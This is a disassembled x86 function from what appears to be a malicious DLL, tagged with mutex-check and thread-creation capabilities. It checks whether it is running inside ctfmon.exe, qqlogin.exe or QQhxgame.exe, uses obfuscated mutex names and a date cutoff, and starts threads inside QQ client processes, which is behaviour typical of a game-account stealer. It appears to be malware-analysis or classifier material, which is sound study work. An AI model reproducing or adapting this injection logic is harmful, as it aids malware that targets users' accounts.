Function at 0x10005080
Capabilities:
Check mutex on windows
Create thread

Disassembly:
sub esp, 0x848
lea eax, [esp + 0x48]
push esi
push edi
push 0x800
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x50]
push ecx
push edx
call fcn.10004630
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 8
lea eax, [esp + 0x3c]
push str.ctfmon.exe
push eax
call esi
test eax, eax
jne 0x10005172
mov ecx, dword [str.jmqqhxlqqwerty]
mov edx, dword [0x100076c4]
mov eax, dword [0x100076c8]
mov dword [esp + 8], ecx
mov cx, word [0x100076cc]
mov dword [esp + 0xc], edx
mov dl, byte [0x100076ce]
mov dword [esp + 0x10], eax
mov word [esp + 0x14], cx
mov byte [esp + 0x16], dl
call fcn.10004760
push str.rtfvjdfcsdf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.10004760
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005124
call sym.PDLL.dll_wdon
lea eax, [esp + 8]
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
mov esi, eax
push 0
push 0xf001f
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
push 0
push 0
push 0x12
mov ecx, dword [edi]
push ecx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x848
ret
lea edx, [esp + 0x3c]
push str.qqlogin.exe
push edx
call esi
test eax, eax
jne 0x10005251
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ax, word [esp + 0xa]
cmp ax, 6
ja 0x1000533b
jne 0x100051ae
cmp word [esp + 0xe], 6
ja 0x1000533b
call fcn.10004760
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
push ecx
push edx
call fcn.100034f0
add esp, 8
lea edx, [esp + 0x18]
push str.qqlogin
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call fcn.10004760
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10005219
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x848
ret
call fcn.10004760
lea ecx, [esp + 0x50]
push 0x1000a2ac
push ecx
call fcn.10004670
add esp, 8
lea edx, [esp + 0x38]
push edx
push 0
push 0
push 0x10004c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
add esp, 0x848
ret
lea eax, [esp + 0x3c]
push str.QQhxgame.exe
push eax
call esi
test eax, eax
jne 0x10005348
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ax, word [esp + 0xa]
cmp ax, 6
ja 0x1000533b
jne 0x1000528d
cmp word [esp + 0xe], 6
ja 0x1000533b
call fcn.10004760
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push eax
push edx
call fcn.100034f0
add esp, 8
lea ecx, [esp + 0x18]
push str.QQhxgame
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x18]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call fcn.10004760
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100052f8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
add esp, 0x848
ret
lea eax, [esp + 0x50]
push 0x1000a2ac
push eax
call fcn.10004670
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10004e30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001540
push 0
push 0
call esi
pop edi
pop esi
add esp, 0x848
ret
push str.Out_of_Time_
call fcn.10001000
add esp, 4
pop edi
pop esi
add esp, 0x848
ret